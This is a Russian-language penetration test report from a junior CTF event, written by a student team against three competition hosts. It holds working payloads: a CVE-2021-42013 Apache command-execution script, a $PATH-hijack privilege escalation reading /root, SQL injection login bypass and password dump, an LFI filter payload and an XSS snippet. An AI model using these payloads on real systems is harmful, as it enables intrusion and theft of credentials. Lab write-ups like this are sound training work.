# InnoCTF Junior 2021 <br> BinaryCats <br> Penetration test report
## Выполнили:
Ахметзянова Ильвина, ilvinchik05@gmail.com;
Лукьянов Артур, artur.lukyanov@gmail.com;
Ефремов Александр, AlexanderOnko@gmail.com;
Иосипов Артемий, dino.Par.io@yandex.ru;
Ахметзянов Амир, amirakhmetzyanov1@gmail.com.
## Тестирование на безопасность
В ходе этого теста на проникновение наша команда смогла успешно получить доступ к учетной записи обычного пользователя, а также к учётной записи с привилегиями администратора.
---
## Содержание
[toc]
---
## Методология
### PTES
<img style="margin-left: auto; margin-right: auto; display:block" src="https://www.miroxindia.com/images/sponsor-logo/ptes.png">
http://www.pentest-standard.org/index.php/Main_Page
### Перечисление (Enumeration)
- Поиск существующих директорий
- Поиск доступных портов
### Эксплуатация (Exploitation)
- Определение уязвимых сервисов
- Эксплуатация найденных уязвимостей
### Повышение привилегий (Privilege escalation)
- Изучение и определение уязвимостей
- Эксплуатация найденных уязвимостей
---
## Техническое задание
### Тестируемые устройства
| Hostname | IP |
| -------- | -------------- |
| Wafy WAF | 84.252.135.107 |
| Simple Band | 130.193.35.203 |
| Issue tracker |130.193.46.68 |
---
## Уязвимости систем
### Wafy WAF
#### Разведка
<img src="https://i.imgur.com/qy24vyA.png">
На сервере был обнаружен исполняемый файл: http://84.252.135.107/download/55. Этот файл содержит несколько регулярных выражений и представляет собой WAF.
`XSS regex: .*<(([sS][cC][rR][iI][pP][tT])|([iI][mM][gG]))(.*)/?>.*`
`SQL injection regex: .*(['\\\";]+)(([aA][lL][tT][eE][rR]((\\s)|(/\\*\\*/))+[tT][aA][bB][lL][eE])|([cC][rR][eE][aA][tT][eE]((\\s)|(/\\*\\*/))+[tT][aA][bB][lL][eE])|([cC][rR][eE][aA][tT][eE]((\\s)|(/\\*\\*/))+[dD][aA][tT][aA][bB][aA][sS][eE])|([dD][eE][lL][eE][tT][eE]((\\s)|(/\\*\\*/))+[tT][aA][bB][lL][eE])|([dD][rR][oO][pP]((\\s)|(/\\*\\*/))+[tT][aA][bB][lL][eE])|([dD][rR][oO][pP]((\\s)|(/\\*\\*/))+[dD][aA][tT][aA][bB][aA][sS][eE])|([iI][nN][sS][eE][rR][tT]((\\s)|(/\\*\\*/))+[iI][nN][tT][oO])|([sS][eE][lL][eE][cC][tT]((\\s)|(/\\*\\*/))+((\\*)|[\\w_-]+)((\\s)|(/\\*\\*/))+[fF][rR][oO][mM])|([uU][pP][dD][aA][tT][eE]((\\s)|(/\\*\\*/))+[tT][aA][bB][lL][eE])|([uU][nN][iI][oO][nN]((\\s)|(/\\*\\*/))+[sS][eE][lL][eE][cC][tT])).*`
---
### Simple Band
#### Разведка
На сервере были найдены следующие порты и сервисы:

```
/.htpasswd (Status: 403) [Size: 199]
/.hta (Status: 403) [Size: 199]
/.htaccess (Status: 403) [Size: 199]
/cgi-bin/ (Status: 403) [Size: 199]
/dev (Status: 401) [Size: 381]
/index.html (Status: 200) [Size: 11577]
```
#### Тип эксплуатируемой уязвимости:
<span style="background: #9fff90; padding: 2px">CVE-2021-42013</span>
#### Критичность:
<span style="background: #ffaaaa; padding: 2px">Critical</span>
#### Base score:

<span style="background: #ffaaaa; padding: 2px">9.8</span>
Требуемый уровень доступа: <span style="background: #ffaaaa; padding: 2px">нет</span>
Простота эксплуатации: <span style="background: #ffaaaa; padding: 2px">просто</span>
Взаимодействие с пользователем: <span style="background: #ffaaaa; padding: 2px">нет</span>
Вектор атаки: <span style="background: #ffaaaa; padding: 2px">по сети</span>
#### Описание эксплуатации:
Было обнаружено, что исправление для CVE-2021-41773 в HTTP-сервере Apache 2.4.50 было недостаточным. Злоумышленник может использовать атаку с обходом пути для сопоставления URL-адресов с файлами за пределами каталогов, настроенных с помощью директив, подобных псевдонимам (`Alias-like directives`). Если файлы за пределами этих каталогов не защищены конфигурацией по умолчанию `"require all denied"`, эти запросы могут быть успешными.
Эксплуатация уязвимости позволяет исполнить команды на сервере и получить доступ к аккаунту. Впоследствие привилегии пользователя можно повысить.
#### Патч или фикс:
Эта проблема затрагивает только Apache 2.4.49 и Apache 2.4.50, а не более ранние версии.
#### POC:
```
#!/bin/bash
echo 'PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI'
if [ $# -eq 0 ]
then
echo "try: ./$0 http://ip:port cmd"
exit 1
fi
curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; $2"
#usage chmod -x CVE-2021-42013.sh
#./CVE-2021-42013.sh http://ip:port/ cmd
```
#### Повышение привилегий - $PATH
#### Тип эксплуатируемой уязвимости:
<span style="background: #9fff90; padding: 2px">Relative path hijacking</span>
#### Критичность
<span style="background: #ffaaaa; padding: 2px">High</span>
#### Base score

<span style="background: #ffaaaa; padding: 2px">8.8</span>
Требуемый уровень доступа: <span style="background: #ffaaaa; padding: 2px">минимальный</span>
Простота эксплуатации: <span style="background: #ffaaaa; padding: 2px">просто</span>
Взаимодействие с пользователем: <span style="background: #ffaaaa; padding: 2px">нет</span>
Вектор атаки: <span style="background: #ffaaaa; padding: 2px">по сети</span>
#### Описание эксплуатации:
На сервере был обнаружен файл `/usr/bin/info`, имеющий `suid flag`. Данная программа использует `cat` для получения информации из текстого файла. Так как вызов `cat` осуществляется без указания пути, ОС производит поиск данного приложения по директориям, указанным в $PATH. Атакующий способен изменить данную переменную окружения и заставить приложение запустить замененный злоумышленником `cat`.
#### POC - base64 /root/root.txt
```
echo IyEvYmluL2Jhc2gKCmJhc2U2NCAvcm9vdC9yb290LnR4dAo= | base64 -d > /tmp/cat
chmod +x /tmp/cat
PATH=/tmp/:$PATH /usr/bin/info
```
#### Найденные флаги:
> 086925fb0b64e870ce5d0162c78952b5 (user) <br> bc05630d1d95b6235c105c161c8ecf50 (admin)
---
### Issue tracker
#### Разведка
Было обнаружено 4 порта
Порт 9000 используется для HTTP сервера

#### Тип эксплуатируемой уязвимости:
<span style="background: #9fff90; padding: 2px">SQL Injection - Authentication bypass</span>
#### Критичность
<span style="background: #ffaaaa; padding: 2px">Critical</span>
#### Base score

<span style="background: #ffaaaa; padding: 2px">9.8</span>
Требуемый уровень доступа: <span style="background: #ffaaaa; padding: 2px">нет</span>
Простота эксплуатации: <span style="background: #ffaaaa; padding: 2px">просто</span>
Взаимодействие с пользователем: <span style="background: #ffaaaa; padding: 2px">нет</span>
Вектор атаки: <span style="background: #ffaaaa; padding: 2px">по сети</span>
#### Описание эксплуатации:
Один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного `SQL-кода`. Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных, получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере.
Эксплуатация SQL-инъекции на странице входа на портал позволяет обойти механизмы аутентификации и получить доступ к сервису, данным пользователей и контенту.
#### POC:
```
login: admin' or 1=1-- -
password: 123
```
#### Патч или фикс:
Рекомендуется использовать `prepared quieries` и валидировать пользовательский ввод.
#### Тип эксплуатируемой уязвимости:
<span style="background: #9fff90; padding: 2px">Множественные SQL Injection</span>
#### Критичность
<span style="background: #ffaaaa; padding: 2px">Critical</span>
#### Base score

<span style="background: #ffaaaa; padding: 2px">9.8</span>
Требуемый уровень доступа: <span style="background: #ffaaaa; padding: 2px">нет</span>
Простота эксплуатации: <span style="background: #ffaaaa; padding: 2px">просто</span>
Взаимодействие с пользователем: <span style="background: #ffaaaa; padding: 2px">нет</span>
Вектор атаки: <span style="background: #ffaaaa; padding: 2px">по сети</span>
#### Описание эксплуатации:
Один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного `SQL-кода`. Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных, получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере.
Эксплуатация SQL-инъекций на различных `endpoint`'ах позволяет совершать различные действия с базой данных.
#### POC:
```
http://130.193.46.68:9000/manage_user.php?id=22%27%20union%20select%201,group_concat(password),3,4,5,6,7,8,9,10,11%20from%20user_list--%20-
```
#### Патч или фикс:
Рекомендуется использовать `prepared quieries` и валидировать пользовательский ввод.
#### Тип эксплуатируемой уязвимости:
<span style="background: #9fff90; padding: 2px">LFI — Local File Inclusion</span>
#### Критичность
<span style="background: #ffaaaa; padding: 2px">Medium</span>
#### Base score

<span style="background: #ffaaaa; padding: 2px">4.3</span>
Требуемый уровень доступа: <span style="background: #ffaaaa; padding: 2px">минимальный</span>
Простота эксплуатации: <span style="background: #ffaaaa; padding: 2px">просто</span>
Взаимодействие с пользователем: <span style="background: #ffaaaa; padding: 2px">нет</span>
Вектор атаки: <span style="background: #ffaaaa; padding: 2px">по сети</span>
#### Описание эксплуатации:
LFI — это возможность использования и выполнения локальных файлов на серверной стороне. Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере, в том числе содержащим конфиденциальную информацию. Является комбинацией уязвимости открытия файлов с сервера и недостаточной фильтрации, позволяет открывать произвольный файл.
Эксплуатация `LFI-уязвимости` позволяет через браузер подключать файлы на сервере. Эта уязвимость потенциально позволяет злоумышленнику читать файлы и исполнять свой вредоносный код на сервере. Наша команда смогла только читать `.php файлы` на сервере.
#### POC:
```
http://130.193.46.68:9000/?page=php://filter/convert.base64-encode/resource=DBConnection
```
#### Патч или фикс:
Рекомендуется использовать фильтрацию, которая будет подставлять в окончание строки расширение файла, например, .php. Таким образом, при попытке включения в страницу файла `xmpl/filename` мы получим в адресной строке `file=/xmpl/filename.php`, а содержимое этого файла не будет отображаться на странице, так как файла не существует. Существует возможность обхода такого фильтра при помощи проблемы нулевого байта, которая исправлена в версиях `PHP 5.3+`.
#### Тип эксплуатируемой уязвимости:
<span style="background: #9fff90; padding: 2px">XSS</span>
#### Критичность
<span style="background: #ffaaaa; padding: 2px">Medium</span>
#### Base score

<span style="background: #ffaaaa; padding: 2px">5.4</span>
Требуемый уровень доступа: <span style="background: #ffaaaa; padding: 2px">нет</span>
Простота эксплуатации: <span style="background: #ffaaaa; padding: 2px">просто</span>
Взаимодействие с пользователем: <span style="background: #ffaaaa; padding: 2px">нет</span>
Вектор атаки: <span style="background: #ffaaaa; padding: 2px">по сети</span>
#### Описание эксплуатации:
Cross Site Scripting — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода, который будет выполнен на компьютере пользователя при открытии им этой страницы, и взаимодействии этого кода с веб-сервером злоумышленника.
#### POC:
Комментарии на http://130.193.46.68:9000/?page=view_issue&id=8f14e45fceea167a5a36dedd4bea2543 :
```<script>alert(1)</script>```
#### Патч или фикс:
Рекомендуется преобразовывать специальные символы (экранирование) и проверять пользовательский ввод.
{"metaMigratedAt":"2023-06-16T13:28:34.944Z","metaMigratedFrom":"Content","title":"InnoCTF Junior 2021 <br> BinaryCats <br> Penetration test report","breaks":true,"contributors":"[{\"id\":\"03d21ae7-c61d-4786-a1d5-384f55b4ce22\",\"add\":7316,\"del\":1097},{\"id\":\"035343d9-38f8-4447-888d-3e4ad4677d82\",\"add\":5197,\"del\":826},{\"id\":\"34e68fa4-5995-4ba9-868b-fdf17bdbe7ba\",\"add\":940,\"del\":0},{\"id\":\"11d292e7-97f7-4b7e-a55e-d035d1f28a5f\",\"add\":564,\"del\":51}]"}